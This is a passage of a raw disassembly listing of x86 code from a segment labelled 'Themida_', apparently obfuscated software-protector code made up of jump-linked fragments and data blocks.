		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 2541059Ah
		push	ecx
		jmp	loc_55ADAC
; ---------------------------------------------------------------------------


loc_56329B:				; CODE XREF: Themida_:0055C34Aj
		mov	[edi+28h], bl
		push	dword ptr [esp]
		pop	ebx
		push	587Bh
		mov	[esp], edx
		push	esp
		pop	edx
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5509AF
; ---------------------------------------------------------------------------
		db 45h
		dd 7E74ED81h, 0E5C15850h, 81D5F704h, 1ECB88F5h,	5DEF3197h
		dd 295FFD89h, 0DD015AD5h, 1D1DE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5632E6:				; CODE XREF: Themida_:0055EC13j
		mov	ebx, edx
		pop	edx
		push	esi
		push	edi
		mov	edi, 104C6892h
		and	edi, 479B7CBCh
		push	edx
		jmp	loc_5525B6
; ---------------------------------------------------------------------------


loc_5632FC:				; CODE XREF: Themida_:00553B2Ej
		add	ebx, 948B986Ch
		push	esi
		mov	esi, ebx
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5583F8
; ---------------------------------------------------------------------------
		dd 5CC380h, 0DDBCE9CBh,	0C483FFFEh, 0FF16804h, 14890000h
		dd 0A8BBA24h, 0ABE937A4h
		db 0F2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_563337:				; CODE XREF: Themida_:005529CBj
		mov	ebx, edx
		pop	edx
		sub	eax, ebx
		pop	ebx
		mov	edi, [esp]
		jmp	loc_556574
; ---------------------------------------------------------------------------


loc_563345:				; CODE XREF: Themida_:0056599Aj
		pop	edx
		push	esi
		push	4
		pop	esi
		sub	ecx, esi
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, ebx
		mov	eax, ebp
		jmp	loc_55BCC5
; ---------------------------------------------------------------------------


loc_563366:				; CODE XREF: Themida_:005573AEj
		push	dword ptr [esp]
		pop	esi
		jmp	loc_551AA4
; ---------------------------------------------------------------------------


loc_56336F:				; CODE XREF: Themida_:005594F7j
		push	3F43h
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_5614E8
; ---------------------------------------------------------------------------


loc_56337E:				; CODE XREF: Themida_:0055447Fj
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_559AEB
		push	3C7Bh
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		sub	dword ptr [esp], 1A1E5EB9h
		pop	esi
		jmp	loc_5574FE
; ---------------------------------------------------------------------------


loc_5633A8:				; CODE XREF: Themida_:0055B6D1j
		mov	esi, 507A72EAh
		neg	esi
		sub	esi, 17537423h
		push	ebp
		jmp	loc_5636E7
; ---------------------------------------------------------------------------


loc_5633BB:				; CODE XREF: Themida_:00559D6Dj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_565147
; ---------------------------------------------------------------------------
		dw 515Ah
		dd 667E9E68h, 725CE931h, 0E2C1FFFFh, 71F28103h,	81772508h
		dd 1EAh, 8CF28100h, 5A0DCF7h, 30054810h, 0C656B02Dh, 0E9D0010Ah
		dd 5DAh
; ---------------------------------------------------------------------------


loc_5633F8:				; CODE XREF: Themida_:005525FDj
		shr	edi, 8
		sub	edi, 0FE841Ah
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		jmp	loc_5630F6
; ---------------------------------------------------------------------------
		dd 0C581D501h, 22EB0A34h, 0FF97D6E9h, 815F5FFFh, 9C3A3EF7h
		dd 242C8B0Ch, 0BA04C483h, 9D4984ABh, 0FF237BE9h
		db 0FFh
byte_563431	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:00550928o
		dd 0FFCB12E9h, 75BF57FFh, 81048720h, 0AF2EF2F7h, 5FF8310Eh
		dd 0FF3590E9h, 505166FFh, 0C188FFB0h, 0E9CB0058h, 0FFFF2110h
; ---------------------------------------------------------------------------


loc_56345C:				; CODE XREF: Themida_:0055FDFFj
		push	esi
		mov	esi, 435A1E81h
		or	esi, 697D38E9h
		add	esi, 97A8DE7Dh
		jmp	loc_550FEA
; ---------------------------------------------------------------------------


loc_563473:				; CODE XREF: Themida_:0055C601j
		mov	[esp], esi
		pop	ebx
		push	ebx
		jmp	loc_563673
; ---------------------------------------------------------------------------


loc_56347D:				; CODE XREF: Themida_:0055AF07j
		push	eax
		jmp	loc_5649B3
; ---------------------------------------------------------------------------


loc_563483:				; CODE XREF: Themida_:005606D6j
		add	esp, 4
		jmp	loc_55BB27
; ---------------------------------------------------------------------------
word_56348E	dw 6664h		; DATA XREF: Themida_:00550800o
		dd 6866028Bh, 896628B0h, 10E92404h, 57FFFED5h, 0BF3FCD68h
		dd 243C8B7Bh, 0E9595451h, 0FFFF2FF4h, 0E906EBC1h, 0FFFF7FBFh
		dd 4C48358h, 24148B66h,	5D6768h, 241C8900h, 8904EC83h
		dd 4812424h, 424h, 2434FF00h, 0E9241C8Bh, 0FFFFB072h, 0E9D2315Ch
		dd 0FFFF6EF2h, 5753BD55h, 814D120Ah, 0CC3086C5h, 3EDC101h
		dd 7E5C14Dh, 0FFE34FE9h, 7EBF57FFh, 122E07Bh, 243C8BFAh
		dd 0FF08E2E9h, 5B20BDFFh, 0E829422Eh, 83242C8Bh, 4E904C4h
		dd 31FFFFBBh, 34332434h, 0FB895C24h, 1C5F215Fh,	5B2434FFh
		dd 0E904C483h, 0FFFF32ECh
; ---------------------------------------------------------------------------


loc_56353C:				; CODE XREF: Themida_:005549DFj
		pop	esi
		xor	esi, 8DF2BBEh
		mov	eax, esi
		pop	esi
		xor	eax, 54AE7877h
		shr	eax, 6
		shl	eax, 1
		xor	eax, 6A5324C0h
		jmp	loc_5580F8
; ---------------------------------------------------------------------------


loc_56355A:				; CODE XREF: Themida_:0055449Cj
		mov	esp, [esp]
		jmp	loc_559B09
; ---------------------------------------------------------------------------


loc_563562:				; CODE XREF: Themida_:00558D04j
		mov	ebx, 2
		sub	ebp, 591B7A57h
		jmp	loc_56031F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835824h, 24343304h, 33243431h, 248B2434h,	24048924h
		dd 0FED422E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56358D:				; CODE XREF: Themida_:00554D50j
		xor	ebx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5566BC
; ---------------------------------------------------------------------------
		db 5Ch,	83h, 0C1h
		dd 74FF5104h, 8F590424h, 248B2404h, 9E1AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5635AE:				; CODE XREF: Themida_:0055A983j
		movzx	eax, al
		mov	dx, [esp]
		push	6168h
		mov	[esp], ecx
		push	4199h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55F589
; ---------------------------------------------------------------------------
		dd 3BB3E981h, 47E96F41h
		db 0F5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5635E3:				; CODE XREF: Themida_:00553249j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 0D622AA2h
		push	edi
		jmp	loc_5543AA
; ---------------------------------------------------------------------------


loc_5635F5:				; CODE XREF: Themida_:00563AF8j
		sub	esp, 4
		mov	[esp], edi
		push	66FA2C38h
		pop	edi
		jmp	loc_555561
; ---------------------------------------------------------------------------


loc_563609:				; CODE XREF: Themida_:00561A17j
		add	esi, eax
		pop	eax
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_564901
; ---------------------------------------------------------------------------
		db 89h
		dd 24148BD0h, 4C481h, 0C6210000h, 58EE8158h, 8114B53Eh
		dd 322DF7E6h, 1085E914h, 875F0000h, 248B241Ch, 0BA525024h
		dd 26A175ECh, 7C0DCA81h, 0F28142B0h, 66B17DE9h,	0B4E9D089h
		dd 33000011h, 895C2414h, 0E589242Ch, 0FF9459E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563665:				; CODE XREF: Themida_:005547A4j
		mov	ebp, 23B950AAh
		or	esi, ebp
		pop	ebp
		inc	esi
		jmp	loc_55E5FD
; ---------------------------------------------------------------------------


loc_563673:				; CODE XREF: Themida_:00563478j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_552108
; ---------------------------------------------------------------------------
		db 52h,	68h, 23h
		dd 5A56851Bh, 0E2C1D2F7h, 84C28105h, 0E9D0A364h, 0FFFF9E8Dh
dword_563698	dd 0E932FF66h, 0FFFF3D55h, 240C335Dh, 33240C31h, 248B240Ch
					; DATA XREF: Themida_:00550888o
		dd 8BF9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5636B2:				; CODE XREF: Themida_:00557782j
		or	edi, 4C8248AAh
		jmp	loc_554AFA
; ---------------------------------------------------------------------------


loc_5636BD:				; CODE XREF: Themida_:005553F1j
		xor	[esp+4], ebp
		pop	ebp
		pop	ebp
		xor	ebp, 0B0D0746h
		mov	edx, [esp]
		add	esp, 4
		sub	ebp, 23B96C01h
		jmp	loc_563798
; ---------------------------------------------------------------------------


loc_5636DD:				; CODE XREF: Themida_:00561D9Aj
		mov	edi, 4
		jmp	loc_5641DB
; ---------------------------------------------------------------------------


loc_5636E7:				; CODE XREF: Themida_:005633B6j
		mov	ebp, 2DC9353Ch
		not	ebp
		shr	ebp, 2
		xor	ebp, 7063978h
		xchg	eax, ebp
		xchg	eax, ebp
		not	ebp
		xchg	eax, ebp
		xchg	eax, ebp
		xor	ebp, 8D033F28h
		or	esi, ebp
		pop	ebp
		jmp	loc_5600F6
; ---------------------------------------------------------------------------


loc_56370B:				; CODE XREF: Themida_:0055BF71j
		mov	edx, esp
		push	esi
		push	edi
		push	35DE1379h
		pop	edi
		jmp	loc_5630C1
; ---------------------------------------------------------------------------


loc_56371A:				; CODE XREF: Themida_:00560E7Bj
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 100206F5h
		not	edx
		add	edx, 100206FAh
		add	esi, edx
		mov	edx, [esp]
		jmp	loc_552BB9
; ---------------------------------------------------------------------------


loc_563747:				; CODE XREF: Themida_:00551BF8j
		add	esi, ebp
		pop	ebp
		jmp	loc_55A59C
; ---------------------------------------------------------------------------


loc_56374F:				; CODE XREF: Themida_:005546D3j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_557547
; ---------------------------------------------------------------------------
		dd 6BE6EE81h, 0DCE94CF4h, 31FFFFAAh, 14332414h,	24248B24h
		dd 68C8B70Fh, 74D0h, 0FF474DE9h, 19C581FFh, 0E927234Bh
		dd 0FFFF54B4h, 887FF281h, 0D5899015h, 0E924148Bh, 0FFFF37D9h
; ---------------------------------------------------------------------------


loc_563798:				; CODE XREF: Themida_:005636D8j
		add	ebp, edi
		push	ecx
		mov	ecx, 23B96C01h
		jmp	loc_550EAE
; ---------------------------------------------------------------------------


loc_5637A5:				; CODE XREF: Themida_:00551DB6j
		xor	ebx, 770FD480h
		mov	ecx, ebx
		jmp	loc_563E06
; ---------------------------------------------------------------------------
		dw 565Ch
		dd 0B97631BEh, 3E6C170h, 0BB53EED1h, 1E5014FDh,	535BDE21h
		dd 4F3CBE56h, 814E3104h, 0ED6BADCEh, 9C6816Eh, 89D6EDAAh
		dd 0D9E95EF3h
		db 0D5h, 0FFh
word_5637E2	dw 50FFh		; DATA XREF: Themida_:0053D9E0o
		dd 5CE95854h, 1FFFEE8h,	8EE95DEAh, 5CFFFFBAh, 0B252BA24h
		dd 0D0EAD07Fh, 0A6C280EAh, 0FFACD0E9h
		db 0FFh
byte_563805	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005508C0o
		dd 0FFABADE9h, 0C5C281FFh, 5B3B5F0Bh, 0AE5E952h, 34FFFFFFh
		dd 5530E924h, 0C483FFFFh, 81E2D104h, 490946C2h,	85B9514Dh
		dd 81403118h, 99312CC9h, 95BB531Fh, 811D333Ah, 0B125FEF3h
		dd 4BDBF73Bh, 50EB8143h, 1AAE1A6h, 0F1815BD9h, 0F57E0AB8h
		dd 0E959CA29h, 0FFFF38AAh, 3B4E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563866:				; CODE XREF: Themida_:0055FFB9j
		not	ebx
		sub	ebx, 2D9A0998h
		add	ebx, 73EA2FDEh
		add	ebx, 0EB716507h
		sub	ecx, ebx
		jmp	loc_551216
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 0E9h
		dd 0FFFF38E2h, 81242489h, 42404h, 2C8B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_555B29
; ---------------------------------------------------------------------------
		db 80h,	0F5h, 3
		dd 5159EF00h, 0E980D8B1h, 7FB25221h, 808AEA80h,	0EA80FFC2h
		dd 0F6FA8604h, 80FA86D7h, 0E945F2h
		db 1Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5638C3:				; CODE XREF: Themida_:00556C16j
		mov	edx, esp
		jmp	loc_5575F5
; ---------------------------------------------------------------------------


loc_5638CA:				; CODE XREF: Themida_:00552392j
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		push	esi
		jmp	loc_55A636
; ---------------------------------------------------------------------------
		db 8Bh
		dd 81522414h, 4ECh, 24248900h, 4240483h, 4C2815Ah, 55000000h
		dd 4BDh, 5DEA0100h, 0E9241487h,	0FFFFFBDCh
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55DCBE
; ---------------------------------------------------------------------------
		db 0Fh
		dd 34FFC0B6h, 1D6FE987h, 4310000h, 80E99C24h
		db 0D0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56392F:				; CODE XREF: Themida_:00552A2Bj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55AD8C
; ---------------------------------------------------------------------------
		db 5Ch
		dd 56242489h, 2730BD55h, 34BE3E46h, 293E4627h, 74015DEEh
		dd 33E90424h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56395F:				; CODE XREF: Themida_:00556636j
		not	edx
		inc	edx
		add	edx, 33AA16FBh
		add	edx, 26973DBFh
		jmp	loc_554FB5
; ---------------------------------------------------------------------------
aAXyyQpr	db '─гXYYпОPR╡',0
		dw 57E9h
		db 11h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563983:				; CODE XREF: Themida_:0055A2B5j
		push	7D9Eh
		mov	[esp], eax
		push	edx
		mov	edx, 12C4896h
		mov	eax, edx
		pop	edx
		or	eax, 29FC2612h
		add	eax, 155D43C1h
		add	eax, 70805D99h
		inc	eax
		jmp	loc_55BB89
; ---------------------------------------------------------------------------
		db 0C0h, 0EDh, 6
		dd 0D5F6C5FEh, 0ED80C5FEh, 0E9EF20A8h, 0FFFFB059h
; ---------------------------------------------------------------------------


loc_5639BC:				; CODE XREF: Themida_:0055F77Aj
		add	ebp, 2
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	edx
		jmp	loc_560C3B
; ---------------------------------------------------------------------------
		dw 0B005h
		dd 2D0AC656h, 30054810h, 5024148Bh, 0EC83E089h,	24348904h
		dd 0FF5A7CE9h, 80EB00FFh, 0C8B76C3h, 4C48324h, 0FF5005E9h
		dd 0A7E95BFFh, 59FFFF03h, 8324348Bh, 8C6804C4h,	89000066h
		dd 68552404h, 578F0030h, 9842E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563A1E:				; CODE XREF: Themida_:0055BDD6j
		pop	eax
		pop	edi
		xor	edi, 74240CACh
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55EFFE
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 241C335Ah, 0E9241C31h, 0FFFEDBA8h
; ---------------------------------------------------------------------------


loc_563A4C:				; CODE XREF: Themida_:00559A0Fj
		mov	ecx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		push	87E1E4Ah
		pop	ecx
		and	ecx, 22963785h
		push	ebp
		jmp	loc_5626C2
; ---------------------------------------------------------------------------


loc_563A70:				; CODE XREF: Themida_:0055875Fj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55E8C4
; ---------------------------------------------------------------------------


loc_563A7E:				; CODE XREF: Themida_:00565CE1j
		mov	edi, eax
		jmp	loc_555A2A
; ---------------------------------------------------------------------------


loc_563A85:				; CODE XREF: Themida_:0055DA78j
		push	esp
		jmp	loc_55E919
; ---------------------------------------------------------------------------
		db 81h
		dd 5A9195F6h, 15B8E95Ah, 2C5BFFFFh, 0EC8153FFh,	4, 0B2241489h
		dd 300FB338h, 3EE95AD3h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563AAF:				; CODE XREF: Themida_:005614A3j
		push	ebx
		jmp	loc_5543E2
; ---------------------------------------------------------------------------
		db 0Fh,	0B6h, 0C8h
		dd 2C5E9h, 0E2895200h, 4C281h, 0C2810000h, 4, 5C241487h
		dd 4C381h, 0EC810000h, 4, 0FFC8CEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563AE1:				; CODE XREF: Themida_:0056500Bj
		sub	edi, 17296259h
		push	ecx
		mov	ecx, 0AA742C33h
		add	edi, ecx
		pop	ecx
		add	edx, 146966B2h
		add	edx, edi
		jmp	loc_5635F5
; ---------------------------------------------------------------------------
		db 0BEh, 0B4h, 0Ch
		dd 0F3097F28h, 87B9E95Eh, 0BB53FFFFh, 4, 3E9DA01h
		db 2Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563B17:				; CODE XREF: Themida_:00556214j
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_555939
; ---------------------------------------------------------------------------


loc_563B22:				; CODE XREF: Themida_:0056144Fj
		add	bx, ax
		jmp	loc_55AFEA
; ---------------------------------------------------------------------------


loc_563B2A:				; CODE XREF: Themida_:00560ECAj
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		pop	eax
		push	1011h
		jmp	loc_55E346
; ---------------------------------------------------------------------------
		dd 0B5510AB7h, 0FE63E9C7h, 0C300FFFFh, 0FFD946E9h, 4C281FFh
		dd 83000000h, 143304EAh, 0DAC1E924h, 7EB8FFFFh,	8118282Ah
		dd 684190EAh, 81C22902h, 684190C2h, 75E95802h, 29FFFF4Eh
		dd 24348BF0h, 0FFF4ADE9h, 81E7D1FFh, 5F6DE2C7h,	5FFB0167h
		dd 4C381h, 1C330000h, 0AE31E924h, 0CA31FFFFh, 6BF28159h
		dd 89F2FD03h, 0BF575AD7h, 33057499h, 0FF536AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563BB1:				; CODE XREF: Themida_:00557FC8j
		sub	edi, eax
		pop	eax
		jmp	loc_551987
; ---------------------------------------------------------------------------
		db 1, 0E8h, 0E9h
		dd 0FFFFCD8Fh
dword_563BC0	dd 240C8B66h, 68C168h, 241C8900h, 65B168h, 24248900h, 0FF8C9DE9h
					; DATA XREF: Themida_:00550764o
		dd 8EC581FFh, 2984DB07h, 34FF5DE9h, 0D93BE924h,	0B850FFFFh
		dd 4, 8758C701h, 2D5C243Ch, 16151C6Dh, 4EC81h, 0C890000h
		dd 0E0895024h, 405h, 93E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563C12:				; CODE XREF: Themida_:00563157j
		xor	ecx, [esp]
		jmp	loc_5564B8
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0E1F68h, 0E6ECE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563C2A:				; CODE XREF: Themida_:00564BF6j
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	eax, ebp
		jmp	loc_55B4F2
; ---------------------------------------------------------------------------
		dd 221668h, 241C8900h, 20DEA3BBh, 5BD829DCh, 5E58C501h
		dd 2C8BEB29h, 6707E924h, 0CA01FFFFh, 4BF5759h, 1000000h
		dd 14875FFAh, 24248B24h, 0E95A5452h, 0FFFEF783h, 8158C229h
		dd 5C892EAh, 9DE9525Fh
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563C9F:				; CODE XREF: Themida_:0055706Fj
		pop	edi
		jmp	loc_55650D
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 2
		dd 81327F00h, 62FCFC2h,	3E2C175h, 7E84EA81h, 0D0293C29h
		dd 2404875Ah, 242C895Ch, 0F52AE951h, 0BB53FFFFh, 4, 875BDD29h
		dd 88E9242Ch, 81FFFEF2h, 4C4h, 4C58300h, 0FF88BCE9h, 4EC83FFh
		dd 89242C89h, 0E08950E5h, 405h,	4E88300h, 0FEF834E9h, 0EB8159FFh
		dd 2B1C1B33h, 652E9h, 240C3300h, 33240C31h, 248B240Ch
		dd 48B6624h, 4EC8324h, 0E9240C89h, 0FFFF2149h, 4244481h
		dd 54507977h, 0FF5E66E9h, 66F42CFFh, 2434FF59h,	83240C8Bh
		dd 0EDE904C4h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563D47:				; CODE XREF: Themida_:00554E64j
		pop	edi
		shr	esi, 6
		shl	esi, 6
		jmp	loc_56466F
; ---------------------------------------------------------------------------


loc_563D53:				; CODE XREF: Themida_:00560DAEj
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jnz	loc_55F83A
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5592FF
; ---------------------------------------------------------------------------
word_563D7A	dw 77FFh		; DATA XREF: Themida_:00550860o
		dd 0CC2DE940h, 0A868FFFEh, 8900002Fh, 20E9240Ch
		db 0CCh, 0FEh, 0FFh
byte_563D8F	db 66h			; DATA XREF: Themida_:005506E0o
		dd 68240C8Bh, 59D7h, 54240489h,	0FF71ADE9h, 240C8BFFh
		dd 4C481h, 0FFE90000h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563DAF:				; CODE XREF: Themida_:00553A80j
		pop	edi
		sub	ebp, 1
		push	esi
		mov	esi, 3FA0CB9h
		xor	ebp, esi
		pop	esi
		mov	esi, ebp
		pop	ebp
		jmp	loc_55A804
; ---------------------------------------------------------------------------
		dd 8104C483h, 4C1h, 72B76800h, 14890000h
		db 24h,	51h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_557052
; ---------------------------------------------------------------------------
		db 81h
		dd 976CD3EEh, 0B929E957h, 48FFFFFh, 0B60F5C24h,	9B1CE9C0h
		dd 2B2DFFFFh, 0FF706F40h, 34FF2434h, 0C652E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563E06:				; CODE XREF: Themida_:005637ADj
		pop	ebx
		sub	[esp+4], ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_564FA5
; ---------------------------------------------------------------------------


loc_563E22:				; CODE XREF: Themida_:00552325j
		xor	edi, 1227DFD5h
		mov	esi, edi
		mov	edi, [esp]
		jmp	loc_55E705
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 4C4h, 4C48300h, 0FFB840E9h, 4BAFFh, 0D5010000h, 0FF07F9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563E4D:				; CODE XREF: Themida_:00552995j
		pop	ecx
		xor	eax, 35075577h
		jmp	loc_5616DD
; ---------------------------------------------------------------------------
		dd 6C06BB53h, 31E93123h, 80FFFF72h, 0E32883C3h,	6683EB80h
		dd 0E924048Bh, 0FFFED2BBh
; ---------------------------------------------------------------------------


loc_563E74:				; CODE XREF: Themida_:00551D7Fj
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 188B5906h
		dec	ecx
		push	ebp
		mov	ebp, 7125725Eh
		jmp	loc_5563A4
; ---------------------------------------------------------------------------
		db 29h
		dd 8AE95FFAh, 66FFFF3Ch, 0B3241C89h, 66D82801h,	52241C8Bh
		dd 0FF4193E9h, 4C581FFh, 68000000h, 21D6h, 0FEF485E9h
		dd 87EB81FFh, 10C437Ch,	384FE9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563ECA:				; CODE XREF: Themida_:00557674j
		pop	ecx
		add	ebx, ebp
		jmp	loc_556F13
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 0FF98D8E9h, 5EF389FFh, 0DAE9DD09h, 59FFFFA3h, 0FFB030E9h
		dd 8BC830FFh, 0C481240Ch, 4, 90B65251h,	8057CE80h, 0CEFE72CEh
		dd 0F680EED0h, 0E4B4500Ah, 4EC81h, 14890000h, 0E3885324h
		dd 0E9D88850h, 0FFFFE86Fh, 77D9F181h, 0C8214488h, 12E4E9h
		dd 1DED8100h, 1385D24h,	242C8BEFh, 4C481h, 0C7830000h
		dd 243C8704h, 0DFBF575Ch, 297C6D02h, 0A6E95FFAh
		db 0FCh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_563F4F:				; CODE XREF: Themida_:00550EA9j
		push	eax
		mov	eax, 26B34B4Ah
		not	eax
		shr	eax, 7
		neg	eax
		sub	eax, 51790F09h
		push	edx
		mov	edx, 12C86F54h
		sub	edx, 5C046999h
		add	eax, edx
		pop	edx
		sub	esi, eax
		jmp	loc_55E265
; ---------------------------------------------------------------------------
		db 89h
		dd 80E9241Ch, 5DFFFEEBh, 6E85C281h, 814A47C7h, 7948AFCAh
		dd 45E2813Dh, 81780C6Bh, 662769E2h, 0C7DDE951h,	835FFFFFh
		dd 148904ECh, 2474FF24h, 24148B04h, 4C481h, 48F0000h, 0ADE95C24h
		dd 8BFFFF52h, 0C4832414h, 7FE98104h, 8129A910h,	4ECh, 240C8900h
		dd 0FFCD1EE9h, 0ED815AFFh, 5DA93F45h, 43E9E989h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563FE3:				; CODE XREF: Themida_:0055D2F1j
		push	edi
		mov	edi, 4
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5587D3
; ---------------------------------------------------------------------------
		dw 1C31h
		dd 241C3324h, 5124248Bh, 6368D588h, 89000039h, 5D54242Ch
		dd 4738B850h, 14E933F2h, 0BAFFFFA3h, 129D2C70h,	0BCEEA81h
		dd 0D0299544h, 4D7E2D5Ah, 29E91D8Bh, 58FFFF5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5522F3
; ---------------------------------------------------------------------------
		db 59h,	66h, 50h
		dd 0E32879B4h, 79E95866h, 0C0FFFF46h, 525106ECh, 0F6801FB6h
		dd 8CF6809Fh, 0C6FED6F6h, 0E981EE80h, 0FFFEF0ECh
; ---------------------------------------------------------------------------


loc_564074:				; CODE XREF: Themida_:005629D8j
		pop	edx
		jmp	loc_557311
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 1000000h, 1C685DEAh,	89000008h, 6855241Ch, 6DA525E3h
		dd 0FF47B1E9h, 0B703B2FFh, 0B389E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56409E:				; CODE XREF: Themida_:00552103j
		pop	esi
		jmp	loc_55106C
; ---------------------------------------------------------------------------
aI4H5r		db '┴4$h5r',0
		align 4
		dd 0BB241C89h, 79C42770h, 795ABF57h, 0D7F7414Ah, 1ABB5350h
		dd 0E92EA443h, 0FFFFED1Fh, 0E9F7215Fh, 0FFFF3B71h, 0F028C1B6h
		dd 0C399E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5640DA:				; CODE XREF: Themida_:005561DDj
		add	eax, edx
		add	eax, 2FD0859h
		pop	edx
		jmp	loc_554614
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 0EF57E954h,	0F531FFFFh, 0D7E9575Eh
		dd 0BEFFFFD5h, 7DF820FAh, 81DEF746h, 0DE665EEEh, 7AE68132h
		dd 5550880Fh, 0FF605BE9h, 567EBBFFh, 0E3C1035Bh, 0D6E95607h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564127:				; CODE XREF: Themida_:0055D200j
		sub	edi, eax
		pop	eax
		xor	edi, 70C0B724h
		neg	edi
		push	7598h
		jmp	loc_552DC7
; ---------------------------------------------------------------------------
		dd 5B5E5356h, 0EB9F681h, 0C6812D2Ch, 0CCF64C9Ah, 8904EC83h
		dd 0CCE9241Ch
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564157:				; CODE XREF: Themida_:005626D3j
		push	edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_556936
; ---------------------------------------------------------------------------
		dd 8324048Fh, 58042404h, 2D98BD55h, 0C5814771h,	0B88ED26Ch
		dd 575DE801h, 132368BFh, 0D506E93Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564186:				; CODE XREF: Themida_:00560877j
		push	eax
